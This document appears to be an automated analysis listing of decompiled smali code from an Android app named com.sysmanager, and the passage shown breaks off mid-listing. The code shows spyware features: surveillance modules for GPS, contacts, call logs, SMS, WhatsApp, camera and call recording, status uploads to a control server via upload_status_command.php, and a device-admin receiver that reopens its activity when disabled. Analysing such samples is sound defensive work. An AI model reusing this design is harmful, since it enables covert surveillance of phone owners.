33invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
34move-result-object v3
36invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
37goto/16 :goto_26
APIs
  • android.database.sqlite.SQLiteDatabase.execSQL
Strings
  • CREATE TABLE tab4 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col19 VARCHAR(255) UNIQUE )
  • CREATE TABLE tab1 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col01 TEXT )
  • CREATE TABLE tab2 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col02 TEXT,col03 TEXT,col04 TEXT,col05 TEXT,col06 TEXT,col07 TEXT,col08 TEXT,col09 TEXT,col10 TEXT,col11 TEXT,col12 TEXT,col13 TEXT,col14 TEXT )
  • CREATE TABLE tab3 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col15 TEXT,col16 TEXT,col17 TEXT,col08 TEXT,col18 TEXT,col02 TEXT,col03 TEXT )
Position Instruction Meta Information
0.param p1, "db" # Landroid/database/sqlite/SQLiteDatabase;
1.prologue
3const-string v0, "CREATE TABLE tab4 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col19 VARCHAR(255) UNIQUE )"
5invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
7const-string v0, "CREATE TABLE tab1 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col01 TEXT )"
9invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
11const-string v0, "CREATE TABLE tab2 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col02 TEXT,col03 TEXT,col04 TEXT,col05 TEXT,col06 TEXT,col07 TEXT,col08 TEXT,col09 TEXT,col10 TEXT,col11 TEXT,col12 TEXT,col13 TEXT,col14 TEXT )"
13invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
15const-string v0, "CREATE TABLE tab3 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col15 TEXT,col16 TEXT,col17 TEXT,col08 TEXT,col18 TEXT,col02 TEXT,col03 TEXT )"
17invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
18return-void
Cross References
APIs
  • org.json.JSONObject.put
Strings
  • AndroidOSVersion
  • SoftwareVersion
  • 3.4.3 (18)
  • AndroidSDKVersion
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
9const-string v1, "AndroidOSVersion"
11sget-object v2, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
13invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
15iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
17const-string v1, "SoftwareVersion"
19const-string v2, "3.4.3 (18)"
21invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
23iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
25const-string v1, "AndroidSDKVersion"
26sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
28invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
29return-void
Cross References
APIs
  • javax.crypto.Cipher.getInstance
  • javax.crypto.Cipher.init
  • javax.crypto.Cipher.doFinal
  • com.sysmanager.Scontext.getContext
Strings
  • RSA/ECB/PKCS1Padding
Position Instruction Meta Information
0.param p0, "encrypted" # [B
1.param p1, "key" # Ljava/security/PrivateKey;
2.prologue
3try_start_0:
4const-string v2, "RSA/ECB/PKCS1Padding"
6invoke-static {v2}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
7move-result-object v0
8const/4 v2, 0x2
10invoke-virtual {v0, v2, p1}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
12invoke-virtual {v0, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
13try_end_d: move-result-object v2
14goto_e: return-object v2
15catch_f: move-exception v1
17invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
18move-result-object v2
20invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
21move-result-object v3
23invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
24const/4 v2, 0x0
25goto/16 :goto_e
Cross References
APIs
  • javax.crypto.Cipher.getInstance
  • javax.crypto.Cipher.init
  • javax.crypto.Cipher.doFinal
  • com.sysmanager.Scontext.getContext
Strings
  • RSA/ECB/PKCS1Padding
Position Instruction Meta Information
0.param p0, "original" # [B
1.param p1, "key" # Ljava/security/PublicKey;
2.prologue
3try_start_0:
4const-string v2, "RSA/ECB/PKCS1Padding"
6invoke-static {v2}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
7move-result-object v0
8const/4 v2, 0x1
10invoke-virtual {v0, v2, p1}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
12invoke-virtual {v0, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
13try_end_d: move-result-object v2
14goto_e: return-object v2
15catch_f: move-exception v1
17invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
18move-result-object v2
20invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
21move-result-object v3
23invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
24const/4 v2, 0x0
25goto/16 :goto_e
Cross References
APIs
  • android.hardware.Camera.getNumberOfCameras
  • android.hardware.Camera$CameraInfo.<init>
  • android.hardware.Camera.getCameraInfo
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.system.AndroidCamera.releaseCam
Position Instruction Meta Information
0.prologue
1const/4 v0, -0x1
3invoke-static {}, Landroid/hardware/Camera;->getNumberOfCameras()I
4move-result v4
5new-instance v1, Landroid/hardware/Camera$CameraInfo;
7invoke-direct {v1}, Landroid/hardware/Camera$CameraInfo;-><init>()V
8const/4 v3, 0x0
9goto_b: if-ge v3, v4, :cond_29
10try_start_d:
11invoke-static {v3, v1}, Landroid/hardware/Camera;->getCameraInfo(ILandroid/hardware/Camera$CameraInfo;)V
12iget v5, v1, Landroid/hardware/Camera$CameraInfo;->facing:I
13try_end_12: const/4 v6, 0x1
14if-ne v5, v6, :cond_16
15move v0, v3
16cond_16: add-int/lit8 v3, v3, 0x1
17goto/16 :goto_b
18catch_19: move-exception v2
20invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
21move-result-object v5
23invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
24move-result-object v6
26invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
28invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
29goto/16 :goto_16
30cond_29: return v0
Cross References
APIs
  • android.hardware.Camera.getNumberOfCameras
  • android.hardware.Camera$CameraInfo.<init>
  • android.hardware.Camera.getCameraInfo
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.system.AndroidCamera.releaseCam
Position Instruction Meta Information
0.prologue
1const/4 v0, -0x1
3invoke-static {}, Landroid/hardware/Camera;->getNumberOfCameras()I
4move-result v4
5new-instance v1, Landroid/hardware/Camera$CameraInfo;
7invoke-direct {v1}, Landroid/hardware/Camera$CameraInfo;-><init>()V
8const/4 v3, 0x0
9goto_b: if-ge v3, v4, :cond_28
10try_start_d:
11invoke-static {v3, v1}, Landroid/hardware/Camera;->getCameraInfo(ILandroid/hardware/Camera$CameraInfo;)V
12iget v5, v1, Landroid/hardware/Camera$CameraInfo;->facing:I
13try_end_12: if-nez v5, :cond_15
14move v0, v3
15cond_15: add-int/lit8 v3, v3, 0x1
16goto/16 :goto_b
17catch_18: move-exception v2
19invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
20move-result-object v5
22invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
23move-result-object v6
25invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
27invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
28goto/16 :goto_15
29cond_28: return v0
APIs
  • android.app.admin.DeviceAdminReceiver.onDisabled
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
5new-instance v0, Landroid/content/Intent;
6const-class v1, Lcom/sysmanager/Administrator;
8invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
9const/high16 v1, 0x10000000
11invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
13invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
14return-void
Cross References
APIs
  • android.hardware.Camera.open
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.system.AndroidCamera.releaseCam
Position Instruction Meta Information
0.param p1, "cameraId" # I
1.prologue
2try_start_0:
3invoke-static {p1}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
4move-result-object v1
5iput-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
6try_end_6: const/4 v1, 0x1
7goto_7: return v1
8catch_8: move-exception v0
10invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
11move-result-object v1
13invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
14move-result-object v2
16invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
18invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
19const/4 v1, 0x0
20goto/16 :goto_7
Cross References
APIs
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getFreeSpace
  • com.sysmanager.system.AndroidSystemCall.formatSize
Position Instruction Meta Information
0.prologue
2invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
3move-result-object v0
5invoke-virtual {v0}, Ljava/io/File;->getFreeSpace()J
6move-result-wide v2
8invoke-static {v2, v3}, Lcom/sysmanager/system/AndroidSystemCall;->formatSize(J)Ljava/lang/String;
9move-result-object v1
10return-object v1
Cross References
APIs
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getTotalSpace
  • com.sysmanager.system.AndroidSystemCall.formatSize
Position Instruction Meta Information
0.prologue
2invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
3move-result-object v0
5invoke-virtual {v0}, Ljava/io/File;->getTotalSpace()J
6move-result-wide v2
8invoke-static {v2, v3}, Lcom/sysmanager/system/AndroidSystemCall;->formatSize(J)Ljava/lang/String;
9move-result-object v1
10return-object v1
APIs
  • android.database.sqlite.SQLiteDatabase.execSQL
Strings
  • CREATE TABLE tab1 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col01 INTEGER,col02 TEXT,col03 TEXT,col04 INTEGER,col05 INTEGER,col06 INTEGER,col07 INTEGER,col08 INTEGER,col09 INTEGER,col10 INTEGER,col11 INTEGER,col12 INTEGER,col13 INTEGER,col14 INTEGER,col15 INTEGER,col16 INTEGER,col17 INTEGER,col18 INTEGER,col19 INTEGER,col20 INTEGER,col22 TEXT,col23 TEXT,col24 TEXT,col25 TEXT,col21 INTEGER )
Position Instruction Meta Information
0.param p1, "db" # Landroid/database/sqlite/SQLiteDatabase;
1.prologue
3const-string v0, "CREATE TABLE tab1 (_id INTEGER PRIMARY KEY AUTOINCREMENT,col01 INTEGER,col02 TEXT,col03 TEXT,col04 INTEGER,col05 INTEGER,col06 INTEGER,col07 INTEGER,col08 INTEGER,col09 INTEGER,col10 INTEGER,col11 INTEGER,col12 INTEGER,col13 INTEGER,col14 INTEGER,col15 INTEGER,col16 INTEGER,col17 INTEGER,col18 INTEGER,col19 INTEGER,col20 INTEGER,col22 TEXT,col23 TEXT,col24 TEXT,col25 TEXT,col21 INTEGER )"
5invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
6return-void
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.MessageManagement.isMyServiceRunning
  • org.json.JSONObject.put
  • com.sysmanager.MessageManagement.isMyServiceRunning
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.MessageManagement.isMyServiceRunning
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.MessageManagement.isMyServiceRunning
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • serialnumber
  • A70
  • Attivazione
  • col04
  • Ambientale
  • NET
  • col06
  • GPS
  • col07
  • Rubrica
  • col08
  • RegistroChiamate
  • col09
  • SMS
  • col10
  • Info
  • col11
  • WhatsApp
  • col21
  • Documenti
  • col12
  • Camera
  • col15
  • History
  • col13
  • Wifi
  • col14
  • ListaApp
  • col16
  • Cella
  • FileLista
  • col18
  • Social
  • col19
  • Wifi3g
  • col20
  • CallRecording
  • col24
  • feedback
  • upload_status_command.php
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "feedback" # Ljava/lang/String;
2.prologue
3const/4 v7, 0x0
4const/4 v6, 0x1
5new-instance v3, Lorg/json/JSONObject;
7invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
8try_start_7: new-instance v4, Lorg/json/JSONObject;
10invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
11try_end_c:
12const-string v8, "serialnumber"
14const-string v9, "A70"
16invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
18const-string v8, "Attivazione"
20invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
21move-result-object v9
23const-string v10, "col04"
25invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
26move-result v9
28invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
30const-string v9, "Ambientale"
31const-class v8, Lcom/sysmanager/system/AndroidSystemService;
33invoke-static {v8, p0}, Lcom/sysmanager/MessageManagement;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
34move-result v8
35if-eqz v8, :cond_165
36move v8, v6
37goto_2d:
38invoke-virtual {v4, v9, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
40const-string v9, "NET"
41const-class v8, Lcom/sysmanager/system/AndroidSystemQueues;
43invoke-static {v8, p0}, Lcom/sysmanager/MessageManagement;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
44move-result v8
45if-eqz v8, :cond_168
47invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
48move-result-object v8
50const-string v10, "col06"
52invoke-virtual {v8, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
53move-result v8
54if-ne v8, v6, :cond_168
55move v8, v6
56goto_47:
57invoke-virtual {v4, v9, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
59const-string v9, "GPS"
60const-class v8, Lcom/sysmanager/system/AndroidSystemQueues;
62invoke-static {v8, p0}, Lcom/sysmanager/MessageManagement;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
63move-result v8
64if-eqz v8, :cond_16b
66invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
67move-result-object v8
69const-string v10, "col07"
71invoke-virtual {v8, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
72move-result v8
73if-ne v8, v6, :cond_16b
74move v8, v6
75goto_61:
76invoke-virtual {v4, v9, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
78const-string v8, "Rubrica"
80invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
81move-result-object v9
83const-string v10, "col08"
85invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
86move-result v9
88invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
90const-string v8, "RegistroChiamate"
92invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
93move-result-object v9
95const-string v10, "col09"
97invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
98move-result v9
100invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
102const-string v8, "SMS"
104invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
105move-result-object v9
107const-string v10, "col10"
109invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
110move-result v9
112invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
114const-string v8, "Info"
116invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
117move-result-object v9
119const-string v10, "col11"
121invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
122move-result v9
124invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
126const-string v8, "WhatsApp"
128invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
129move-result-object v9
131const-string v10, "col21"
133invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
134move-result v9
136invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
138const-string v8, "Documenti"
140invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
141move-result-object v9
143const-string v10, "col12"
145invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
146move-result v9
148invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
150const-string v8, "Camera"
152invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
153move-result-object v9
155const-string v10, "col15"
157invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
158move-result v9
160invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
162const-string v8, "History"
164invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
165move-result-object v9
167const-string v10, "col13"
169invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
170move-result v9
172invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
174const-string v8, "Wifi"
176invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
177move-result-object v9
179const-string v10, "col14"
181invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
182move-result v9
184invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
186const-string v8, "ListaApp"
188invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
189move-result-object v9
191const-string v10, "col16"
193invoke-virtual {v9, v10}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
194move-result v9
196invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
198const-string v8, "Cella"
199const-class v9, Lcom/sysmanager/system/ClearSystems;
201invoke-static {v9, p0}, Lcom/sysmanager/MessageManagement;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
202move-result v9
203if-eqz v9, :cond_16e
204goto_104:
205invoke-virtual {v4, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
207const-string v6, "FileLista"
209invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
210move-result-object v7
212const-string v8, "col18"
214invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
215move-result v7
217invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
219const-string v6, "Social"
221invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
222move-result-object v7
224const-string v8, "col19"
226invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
227move-result v7
229invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
231const-string v6, "Wifi3g"
233invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
234move-result-object v7
236const-string v8, "col20"
238invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
239move-result v7
241invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
243const-string v6, "CallRecording"
245invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
246move-result-object v7
248const-string v8, "col24"
250invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
251move-result v7
253invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
255const-string v6, "feedback"
257invoke-virtual {v4, v6, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
258try_end_148: move-object v3, v4
259goto_149:
260invoke-static {p0}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
261move-result-object v2
262new-instance v6, Ljava/lang/StringBuilder;
264invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
266invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
267move-result-object v6
269const-string v7, "upload_status_command.php"
271invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
272move-result-object v6
274invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
275move-result-object v5
277invoke-static {v5, v3, p0}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPostServer(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
278move-result-object v1
279return-void
280cond_165: move v8, v7
281goto/16 :goto_2d
282cond_168: move v8, v7
283goto/16 :goto_47
284cond_16b: move v8, v7
285goto/16 :goto_61
286cond_16e: move v6, v7
287goto/16 :goto_104
288catch_170: move-exception v0
289goto_171:
290invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
291move-result-object v6
293invoke-static {p0, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
294goto/16 :goto_149
295catch_179: move-exception v0
296move-object v3, v4
297goto/16 :goto_171
Cross References
APIs
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
  • android.content.Context.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.getCount
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnCount
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getLong
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getLong
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.text.SimpleDateFormat.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Long.valueOf
  • java.text.SimpleDateFormat.format
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.sysmanager.system.AndroidCallSystem.getDurationInHourMinutesSeconds
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.contains
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidCallSystem.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
